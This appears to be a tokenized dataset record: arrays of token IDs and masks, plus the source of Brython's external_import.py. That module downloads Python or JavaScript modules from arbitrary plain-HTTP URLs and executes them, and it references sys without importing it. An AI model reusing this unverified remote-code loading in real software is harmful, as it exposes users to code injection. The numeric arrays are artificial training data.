282, 8844, 358, 272, 372, 1564, 63, 515, 421, 199, 318, 2342, 63, 66, 16702, 63, 8161, 8450, 8, 5904, 304, 272, 687, 3873, 492, 13995, 12, 22773, 272, 286, 275, 13995, 2941, 3459, 393, 297, 2475, 44, 297, 7286, 467, 3839, 29, 6089, 9, 272, 2385, 275, 286, 14, 10664, 3430, 16, 1055, 7644, 342, 272, 372, 359, 88, 14, 1913, 1252, 1294, 360, 334, 5832, 16, 61, 367, 671, 315, 2385, 59, 17, 21316, 421, 199, 318, 2342, 63, 9467, 63, 22305, 8, 8161, 8450, 12, 9593, 304, 272, 634, 4846, 275, 9593, 14, 2325, 342, 272, 367, 13119, 773, 315, 13119, 8450, 26, 267, 340, 747, 14, 515, 14, 4846, 8, 22305, 680, 2325, 342, 508, 634, 4846, 26, 288, 372, 13119, 773, 421, 199, 318, 19913, 63, 515, 8, 5904, 12, 2269, 12, 892, 304, 272, 687, 3873, 492, 13995, 272, 13995, 2941, 3174, 63, 354, 63, 3557, 297, 2475, 1461, 297, 2269, 12, 892, 12, 7286, 6575, 2573, 342, 421, 199, 318, 1331, 63, 475, 63, 4857, 8, 6469, 63, 515, 12, 1788, 12, 1347, 63, 354, 304, 272, 687, 5145, 492, 1331, 18, 272, 10059, 63, 515, 275, 747, 14, 515, 14, 904, 8, 6469, 63, 515, 12, 283, 30052, 358, 272, 340, 440, 747, 14, 515, 14, 6027, 8, 4857, 63, 515, 304, 267, 747, 14, 8215, 8, 4857, 63, 515, 9, 272, 1331, 18, 8, 1501, 12, 747, 14, 515, 14, 904, 8, 4857, 63, 515, 12, 1347, 63, 354, 430, 421, 199, 318, 5147, 63, 14366, 63, 5735, 8, 264, 16334, 12, 7286, 12, 8844, 63, 515, 12, 1331, 29, 549, 304, 272, 367, 2269, 63, 515, 12, 892, 63, 515, 12, 13119, 773, 63, 515, 315, 295, 16334, 26, 267, 19913, 63, 515, 8, 5904, 12, 2269, 63, 515, 12, 892, 63, 515, 9, 267, 340, 1331, 26, 288, 1331, 63, 475, 63, 4857, 8, 6469, 63, 515, 12, 13119, 773, 63, 515, 12, 2892, 747, 14, 515, 14, 4846, 8, 1222, 63, 515, 430, 421, 199, 318, 10059, 2021, 8, 5904, 12, 13119, 8450, 12, 949, 1574, 12, 931, 304, 272, 8844, 275, 2342, 63, 6469, 8, 5904, 9, 272, 330, 16702, 63, 8161, 8450, 275, 2342, 63, 66, 16702, 63, 8161, 8450, 8, 5904, 9, 339, 347, 485, 1875, 63, 1222, 63, 515, 8, 22305, 63, 354, 304, 267, 340, 931, 26, 288, 372, 747, 14, 515, 14, 904, 8, 515, 12, 13119, 773, 63, 354, 9, 267, 372, 10267, 5904, 63, 515, 15, 5093, 30052, 4805, 435, 13119, 773, 63, 354, 339, 295, 16334, 275, 942, 272, 367, 13119, 773, 315, 13119, 8450, 26, 267, 13119, 773, 63, 354, 275, 747, 14, 515, 14, 4846, 8, 22305, 9, 267, 13119, 773, 63, 515, 63, 1431, 275, 2342, 63, 9467, 63, 22305, 8, 66, 16702, 63, 8161, 8450, 12, 13119, 773, 63, 354, 9, 267, 340, 13119, 773, 63, 515, 63, 1431, 365, 488, 26, 288, 746, 2186, 360, 22305, 2071, 83, 2, 365, 440, 11812, 701, 2071, 83, 4507, 450, 334, 355, 13119, 773, 63, 354, 12, 355, 7286, 288, 5082, 267, 295, 16334, 14, 740, 1332, 22305, 63, 515, 63, 1431, 12, 485, 1875, 63, 1222, 63, 515, 8, 22305, 63, 354, 395, 13119, 773, 430, 339, 5147, 63, 14366, 63, 5735, 8, 264, 16334, 12, 7286, 12, 8844, 12, 440, 949, 1574, 9, 421, 199, 318, 2446, 837, 272, 1798, 275, 13491, 342, 272, 1798, 14, 525, 63, 1422, 3654, 80, 297, 2850, 515, 297, 2053, 534, 515, 297, 8214, 534, 3243, 297, 1993, 1720, 534, 19389, 931, 370, 13119, 773, 358, 272, 1798, 14, 525, 63, 1422, 3654, 35, 297, 2850, 889, 1574, 297, 2053, 534, 889, 1574, 297, 1595, 534, 1617, 63, 2052, 297, 1993, 1720, 534, 13196, 3985, 84, 1331, 13119, 773, 370, 10059, 4922, 358, 339, 3999, 12, 1249, 275, 1798, 14, 1122, 63, 589, 342, 272, 340, 822, 8, 589, 9, 665, 499, 26, 267, 1798, 14, 705, 360, 1763, 8321, 2368, 26, 7286, 436, 282, 769, 402, 13119, 8450, 358, 339, 340, 3999, 14, 515, 436, 440, 3999, 14, 889, 1574, 26, 267, 1798, 14, 705, 360, 2042, 12149, 543, 1331, 3439, 365, 440, 3748, 358, 339, 862, 26, 267, 10059, 2021, 8, 589, 59, 16, 467, 1249, 59, 17, 8429, 3999, 14, 889, 1574, 12, 3999, 14, 515, 9, 272, 871, 2186, 12, 325, 26, 267, 1798, 14, 705, 8, 495, 8, 69, 430, 267, 984, 14, 2224, 8, 17, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 446, 51, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 82, 624, 272, 10059, 2021, 272, 32202, 339, 437, 7425, 1414, 1004, 4744, 626, 883, 19913, 314, 3792, 370, 8336, 272, 6511, 8363, 315, 1275, 22305, 1584, 880, 626, 2985, 3659, 1163, 272, 3792, 14, 221, 4885, 849, 652, 911, 19913, 314, 931, 880, 626, 652, 4501, 370, 272, 314, 8844, 1159, 11726, 12243, 4922, 14, 221, 961, 883, 506, 30177, 543, 282, 21355, 272, 2963, 1900, 1595, 370, 1852, 5576, 27206, 1928, 9445, 370, 272, 295, 2014, 282, 22219, 402, 13119, 8450, 370, 3659, 314, 10059, 14, 339, 11028, 447, 398, 2672, 10059, 2021, 14, 647, 4932, 5039, 14, 571, 15, 11383, 15, 3399, 3100, 15, 5713, 5039, 971, 267, 690, 1182, 515, 15, 475, 15, 1662, 773, 14, 22305, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 747, 199, 646, 984, 199, 504, 8691, 492, 13491, 421, 199, 318, 2342, 63, 6469, 8, 5904, 304, 272, 7286, 275, 747, 14, 515, 14, 4832, 8, 5904, 9, 272, 340, 440, 747, 14, 515, 14, 6292, 8, 5904, 304, 267, 746, 6064, 360, 18039, 1630, 440, 2187, 358, 272, 4922, 12, 14778, 63, 354, 275, 747, 14, 515, 14, 1294, 8, 5904, 9, 272, 1564, 63, 515, 12, 4922, 275, 747, 14, 515, 14, 1294, 8, 3741, 9, 272, 340, 4922, 1137, 283, 3399, 3100, 356, 267, 746, 6064, 360, 18039, 440, 16180, 6272, 282, 8844, 358, 272, 372, 1564, 63, 515, 421, 199, 318, 2342, 63, 66, 16702, 63, 8161, 8450, 8, 5904, 304, 272, 687, 3873, 492, 13995, 12, 22773, 272, 286, 275, 13995, 2941, 3459, 393, 297, 2475, 44, 297, 7286, 467, 3839, 29, 6089, 9, 272, 2385, 275, 286, 14, 10664, 3430, 16, 1055, 7644, 342, 272, 372, 359, 88, 14, 1913, 1252, 1294, 360, 334, 5832, 16, 61, 367, 671, 315, 2385, 59, 17, 21316, 421, 199, 318, 2342, 63, 9467, 63, 22305, 8, 8161, 8450, 12, 9593, 304, 272, 634, 4846, 275, 9593, 14, 2325, 342, 272, 367, 13119, 773, 315, 13119, 8450, 26, 267, 340, 747, 14, 515, 14, 4846, 8, 22305, 680, 2325, 342, 508, 634, 4846, 26, 288, 372, 13119, 773, 421, 199, 318, 19913, 63, 515, 8, 5904, 12, 2269, 12, 892, 304, 272, 687, 3873, 492, 13995, 272, 13995, 2941, 3174, 63, 354, 63, 3557, 297, 2475, 1461, 297, 2269, 12, 892, 12, 7286, 6575, 2573, 342, 421, 199, 318, 1331, 63, 475, 63, 4857, 8, 6469, 63, 515, 12, 1788, 12, 1347, 63, 354, 304, 272, 687, 5145, 492, 1331, 18, 272, 10059, 63, 515, 275, 747, 14, 515, 14, 904, 8, 6469, 63, 515, 12, 283, 30052, 358, 272, 340, 440, 747, 14, 515, 14, 6027, 8, 4857, 63, 515, 304, 267, 747, 14, 8215, 8, 4857, 63, 515, 9, 272, 1331, 18, 8, 1501, 12, 747, 14, 515, 14, 904, 8, 4857, 63, 515, 12, 1347, 63, 354, 430, 421, 199, 318, 5147, 63, 14366, 63, 5735, 8, 264, 16334, 12, 7286, 12, 8844, 63, 515, 12, 1331, 29, 549, 304, 272, 367, 2269, 63, 515, 12, 892, 63, 515, 12, 13119, 773, 63, 515, 315, 295, 16334, 26, 267, 19913, 63, 515, 8, 5904, 12, 2269, 63, 515, 12, 892, 63, 515, 9, 267, 340, 1331, 26, 288, 1331, 63, 475, 63, 4857, 8, 6469, 63, 515, 12, 13119, 773, 63, 515, 12, 2892, 747, 14, 515, 14, 4846, 8, 1222, 63, 515, 430, 421, 199, 318, 10059, 2021, 8, 5904, 12, 13119, 8450, 12, 949, 1574, 12, 931, 304, 272, 8844, 275, 2342, 63, 6469, 8, 5904, 9, 272, 330, 16702, 63, 8161, 8450, 275, 2342, 63, 66, 16702, 63, 8161, 8450, 8, 5904, 9, 339, 347, 485, 1875, 63, 1222, 63, 515, 8, 22305, 63, 354, 304, 267, 340, 931, 26, 288, 372, 747, 14, 515, 14, 904, 8, 515, 12, 13119, 773, 63, 354, 9, 267, 372, 10267, 5904, 63, 515, 15, 5093, 30052, 4805, 435, 13119, 773, 63, 354, 339, 295, 16334, 275, 942, 272, 367, 13119, 773, 315, 13119, 8450, 26, 267, 13119, 773, 63, 354, 275, 747, 14, 515, 14, 4846, 8, 22305, 9, 267, 13119, 773, 63, 515, 63, 1431, 275, 2342, 63, 9467, 63, 22305, 8, 66, 16702, 63, 8161, 8450, 12, 13119, 773, 63, 354, 9, 267, 340, 13119, 773, 63, 515, 63, 1431, 365, 488, 26, 288, 746, 2186, 360, 22305, 2071, 83, 2, 365, 440, 11812, 701, 2071, 83, 4507, 450, 334, 355, 13119, 773, 63, 354, 12, 355, 7286, 288, 5082, 267, 295, 16334, 14, 740, 1332, 22305, 63, 515, 63, 1431, 12, 485, 1875, 63, 1222, 63, 515, 8, 22305, 63, 354, 395, 13119, 773, 430, 339, 5147, 63, 14366, 63, 5735, 8, 264, 16334, 12, 7286, 12, 8844, 12, 440, 949, 1574, 9, 421, 199, 318, 2446, 837, 272, 1798, 275, 13491, 342, 272, 1798, 14, 525, 63, 1422, 3654, 80, 297, 2850, 515, 297, 2053, 534, 515, 297, 8214, 534, 3243, 297, 1993, 1720, 534, 19389, 931, 370, 13119, 773, 358, 272, 1798, 14, 525, 63, 1422, 3654, 35, 297, 2850, 889, 1574, 297, 2053, 534, 889, 1574, 297, 1595, 534, 1617, 63, 2052, 297, 1993, 1720, 534, 13196, 3985, 84, 1331, 13119, 773, 370, 10059, 4922, 358, 339, 3999, 12, 1249, 275, 1798, 14, 1122, 63, 589, 342, 272, 340, 822, 8, 589, 9, 665, 499, 26, 267, 1798, 14, 705, 360, 1763, 8321, 2368, 26, 7286, 436, 282, 769, 402, 13119, 8450, 358, 339, 340, 3999, 14, 515, 436, 440, 3999, 14, 889, 1574, 26, 267, 1798, 14, 705, 360, 2042, 12149, 543, 1331, 3439, 365, 440, 3748, 358, 339, 862, 26, 267, 10059, 2021, 8, 589, 59, 16, 467, 1249, 59, 17, 8429, 3999, 14, 889, 1574, 12, 3999, 14, 515, 9, 272, 871, 2186, 12, 325, 26, 267, 1798, 14, 705, 8, 495, 8, 69, 430, 267, 984, 14, 2224, 8, 17, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0 ]
d40223223/w16b_test
static/Brython3.1.1-20150328-091302/Lib/external_import.py
742
2985
import os from browser import doc import urllib.request ## this module is able to download modules that are external to ## localhost/src ## so we could download from any URL class ModuleFinder: def __init__(self, path_entry): print("external_import here..") #print(path_entry) self._module=None if path_entry.startswith('http://'): self.path_entry=path_entry else: raise ImportError() def __str__(self): return '<%s for "%s">' % (self.__class__.__name__, self.path_entry) def find_module(self, fullname, path=None): path = path or self.path_entry #print('looking for "%s" in %s ...' % (fullname, path)) for _ext in ['js', 'pyj', 'py']: _fp,_url,_headers=urllib.request.urlopen(path + '/' + '%s.%s' % (fullname, _ext)) self._module=_fp.read() _fp.close() if self._module is not None: print("module found at %s:%s" % (path, fullname)) return ModuleLoader(path, fullname, self._module) print('module %s not found' % fullname) raise ImportError() return None class ModuleLoader: """Load source for modules""" def __init__(self, filepath, name, module_source): self._filepath=filepath self._name=name self._module_source=module_source def get_source(self): return self._module_source def is_package(self): return '.' in self._name def load_module(self): if self._name in sys.modules: #print('reusing existing module from previous import of "%s"' % fullname) mod = sys.modules[self._name] return mod _src=self.get_source() if self._filepath.endswith('.js'): mod=JSObject(import_js_module(_src, self._filepath, self._name)) elif self._filepath.endswith('.py'): mod=JSObject(import_py_module(_src, self._filepath, self._name)) elif self._filepath.endswith('.pyj'): mod=JSObject(import_pyj_module(_src, self._filepath, self._name)) else: raise ImportError('Invalid Module: %s' % self._filepath) # Set a few properties required by PEP 302 mod.__file__ = self._filepath mod.__name__ = self._name mod.__path__ = os.path.abspath(self._filepath) mod.__loader__ = self mod.__package__ = '.'.join(self._name.split('.')[:-1]) if self.is_package(): print('adding path for package') # Set __path__ for packages # so we can find the sub-modules. mod.__path__ = [ self._filepath ] else: print('imported as regular module') print('creating a new module object for "%s"' % self._name) sys.modules.setdefault(self._name, mod) JSObject(__BRYTHON__.imported)[self._name]=mod return mod
gpl-3.0
[ 646, 747, 199, 504, 7042, 492, 1382, 199, 646, 4011, 14, 1069, 199, 199, 309, 642, 859, 365, 7688, 370, 5235, 4621, 626, 787, 5957, 370, 199, 309, 11667, 15, 2164, 199, 309, 880, 781, 4293, 5235, 687, 1263, 2851, 199, 199, 533, 5673, 11791, 26, 272, 347, 636, 826, 721, 277, 12, 931, 63, 2373, 304, 267, 870, 480, 5159, 63, 646, 2348, 703, 531, 267, 327, 1361, 8, 515, 63, 2373, 9, 267, 291, 423, 578, 29, 403, 267, 340, 931, 63, 2373, 14, 2460, 360, 1014, 921, 735, 1779, 291, 14, 515, 63, 2373, 29, 515, 63, 2373, 267, 587, 26, 288, 746, 3545, 342, 5493, 347, 636, 495, 721, 277, 304, 267, 372, 18342, 83, 367, 2071, 83, 15603, 450, 334, 277, 855, 533, 4914, 354, 3108, 291, 14, 515, 63, 2373, 9, 5493, 347, 2342, 63, 578, 8, 277, 12, 11064, 12, 931, 29, 403, 304, 267, 931, 275, 931, 503, 291, 14, 515, 63, 2373, 267, 327, 1361, 360, 11660, 316, 367, 2071, 83, 2, 315, 450, 83, 2263, 7, 450, 334, 9930, 12, 931, 430, 267, 367, 485, 832, 315, 788, 3596, 297, 283, 647, 74, 297, 283, 647, 2565, 288, 485, 3997, 16987, 633, 16987, 2139, 29, 4078, 14, 1069, 14, 10890, 8, 515, 435, 7324, 435, 1543, 83, 4111, 83, 7, 450, 334, 9930, 12, 485, 832, 430, 288, 291, 423, 578, 3699, 3997, 14, 739, 342, 288, 485, 3997, 14, 1600, 342, 288, 340, 291, 423, 578, 365, 440, 488, 26, 2049, 870, 480, 578, 1911, 737, 450, 83, 2689, 83, 2, 450, 334, 515, 12, 11064, 430, 2049, 372, 5673, 5455, 8, 515, 12, 11064, 12, 291, 423, 578, 9, 398, 870, 360, 578, 450, 83, 440, 1911, 7, 450, 11064, 9, 267, 746, 3545, 342, 267, 372, 488, 199, 199, 533, 5673, 5455, 26, 272, 408, 6200, 1350, 367, 4621, 624, 2286, 347, 636, 826, 721, 277, 12, 9911, 12, 536, 12, 859, 63, 1365, 304, 267, 291, 423, 7218, 29, 7218, 267, 291, 423, 354, 29, 354, 267, 291, 423, 578, 63, 1365, 29, 578, 63, 1365, 5493, 347, 664, 63, 1365, 8, 277, 304, 267, 372, 291, 423, 578, 63, 1365, 339, 347, 365, 63, 2491, 8, 277, 304, 267, 372, 7815, 315, 291, 423, 354, 15567, 347, 2248, 63, 578, 8, 277, 304, 267, 340, 291, 423, 354, 315, 984, 14, 3112, 26, 1779, 327, 1361, 360, 264, 4941, 3411, 859, 687, 4136, 492, 402, 2071, 83, 4507, 450, 11064, 9, 1779, 3413, 275, 984, 14, 3112, 59, 277, 423, 354, 61, 1779, 372, 3413, 2728, 485, 2164, 29, 277, 14, 362, 63, 1365, 342, 267, 340, 291, 423, 7218, 14, 4130, 5175, 3596, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 3596, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 916, 291, 423, 7218, 14, 4130, 5175, 647, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 647, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 916, 291, 423, 7218, 14, 4130, 5175, 647, 74, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 647, 74, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 587, 26, 1779, 746, 3545, 360, 3364, 5673, 26, 450, 83, 7, 450, 291, 423, 7218, 9, 398, 327, 2494, 282, 9284, 4382, 1415, 701, 13663, 11485, 267, 3413, 855, 493, 363, 275, 291, 423, 7218, 267, 3413, 855, 354, 363, 275, 291, 423, 354, 267, 3413, 855, 515, 363, 275, 747, 14, 515, 14, 4832, 8, 277, 423, 7218, 9, 267, 3413, 855, 3422, 363, 275, 291, 267, 3413, 855, 2491, 363, 275, 15671, 904, 8, 277, 423, 354, 14, 1294, 7563, 4439, 17, 566, 2728, 340, 291, 14, 374, 63, 2491, 837, 1779, 870, 360, 4095, 931, 367, 2559, 358, 1779, 327, 2494, 636, 515, 363, 367, 6117, 1779, 327, 880, 781, 883, 2342, 314, 1007, 13, 3112, 14, 1779, 3413, 855, 515, 363, 275, 359, 291, 423, 7218, 1622, 267, 587, 26, 288, 870, 360, 17932, 465, 5578, 859, 358, 2728, 870, 360, 20358, 282, 892, 859, 909, 367, 2071, 83, 4507, 450, 291, 423, 354, 9, 267, 984, 14, 3112, 14, 5486, 8, 277, 423, 354, 12, 3413, 9, 267, 18001, 1692, 3460, 34, 5782, 8472, 4343, 17932, 2788, 277, 423, 354, 10404, 1494, 398, 372, 3413, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 747, 199, 504, 7042, 492, 1382, 199, 646, 4011, 14, 1069, 199, 199, 309, 642, 859, 365, 7688, 370, 5235, 4621, 626, 787, 5957, 370, 199, 309, 11667, 15, 2164, 199, 309, 880, 781, 4293, 5235, 687, 1263, 2851, 199, 199, 533, 5673, 11791, 26, 272, 347, 636, 826, 721, 277, 12, 931, 63, 2373, 304, 267, 870, 480, 5159, 63, 646, 2348, 703, 531, 267, 327, 1361, 8, 515, 63, 2373, 9, 267, 291, 423, 578, 29, 403, 267, 340, 931, 63, 2373, 14, 2460, 360, 1014, 921, 735, 1779, 291, 14, 515, 63, 2373, 29, 515, 63, 2373, 267, 587, 26, 288, 746, 3545, 342, 5493, 347, 636, 495, 721, 277, 304, 267, 372, 18342, 83, 367, 2071, 83, 15603, 450, 334, 277, 855, 533, 4914, 354, 3108, 291, 14, 515, 63, 2373, 9, 5493, 347, 2342, 63, 578, 8, 277, 12, 11064, 12, 931, 29, 403, 304, 267, 931, 275, 931, 503, 291, 14, 515, 63, 2373, 267, 327, 1361, 360, 11660, 316, 367, 2071, 83, 2, 315, 450, 83, 2263, 7, 450, 334, 9930, 12, 931, 430, 267, 367, 485, 832, 315, 788, 3596, 297, 283, 647, 74, 297, 283, 647, 2565, 288, 485, 3997, 16987, 633, 16987, 2139, 29, 4078, 14, 1069, 14, 10890, 8, 515, 435, 7324, 435, 1543, 83, 4111, 83, 7, 450, 334, 9930, 12, 485, 832, 430, 288, 291, 423, 578, 3699, 3997, 14, 739, 342, 288, 485, 3997, 14, 1600, 342, 288, 340, 291, 423, 578, 365, 440, 488, 26, 2049, 870, 480, 578, 1911, 737, 450, 83, 2689, 83, 2, 450, 334, 515, 12, 11064, 430, 2049, 372, 5673, 5455, 8, 515, 12, 11064, 12, 291, 423, 578, 9, 398, 870, 360, 578, 450, 83, 440, 1911, 7, 450, 11064, 9, 267, 746, 3545, 342, 267, 372, 488, 199, 199, 533, 5673, 5455, 26, 272, 408, 6200, 1350, 367, 4621, 624, 2286, 347, 636, 826, 721, 277, 12, 9911, 12, 536, 12, 859, 63, 1365, 304, 267, 291, 423, 7218, 29, 7218, 267, 291, 423, 354, 29, 354, 267, 291, 423, 578, 63, 1365, 29, 578, 63, 1365, 5493, 347, 664, 63, 1365, 8, 277, 304, 267, 372, 291, 423, 578, 63, 1365, 339, 347, 365, 63, 2491, 8, 277, 304, 267, 372, 7815, 315, 291, 423, 354, 15567, 347, 2248, 63, 578, 8, 277, 304, 267, 340, 291, 423, 354, 315, 984, 14, 3112, 26, 1779, 327, 1361, 360, 264, 4941, 3411, 859, 687, 4136, 492, 402, 2071, 83, 4507, 450, 11064, 9, 1779, 3413, 275, 984, 14, 3112, 59, 277, 423, 354, 61, 1779, 372, 3413, 2728, 485, 2164, 29, 277, 14, 362, 63, 1365, 342, 267, 340, 291, 423, 7218, 14, 4130, 5175, 3596, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 3596, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 916, 291, 423, 7218, 14, 4130, 5175, 647, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 647, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 916, 291, 423, 7218, 14, 4130, 5175, 647, 74, 735, 1779, 3413, 29, 11378, 1692, 8, 646, 63, 647, 74, 63, 578, 1547, 2164, 12, 291, 423, 7218, 12, 291, 423, 354, 430, 267, 587, 26, 1779, 746, 3545, 360, 3364, 5673, 26, 450, 83, 7, 450, 291, 423, 7218, 9, 398, 327, 2494, 282, 9284, 4382, 1415, 701, 13663, 11485, 267, 3413, 855, 493, 363, 275, 291, 423, 7218, 267, 3413, 855, 354, 363, 275, 291, 423, 354, 267, 3413, 855, 515, 363, 275, 747, 14, 515, 14, 4832, 8, 277, 423, 7218, 9, 267, 3413, 855, 3422, 363, 275, 291, 267, 3413, 855, 2491, 363, 275, 15671, 904, 8, 277, 423, 354, 14, 1294, 7563, 4439, 17, 566, 2728, 340, 291, 14, 374, 63, 2491, 837, 1779, 870, 360, 4095, 931, 367, 2559, 358, 1779, 327, 2494, 636, 515, 363, 367, 6117, 1779, 327, 880, 781, 883, 2342, 314, 1007, 13, 3112, 14, 1779, 3413, 855, 515, 363, 275, 359, 291, 423, 7218, 1622, 267, 587, 26, 288, 870, 360, 17932, 465, 5578, 859, 358, 2728, 870, 360, 20358, 282, 892, 859, 909, 367, 2071, 83, 4507, 450, 291, 423, 354, 9, 267, 984, 14, 3112, 14, 5486, 8, 277, 423, 354, 12, 3413, 9, 267, 18001, 1692, 3460, 34, 5782, 8472, 4343, 17932, 2788, 277, 423, 354, 10404, 1494, 398, 372, 3413, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 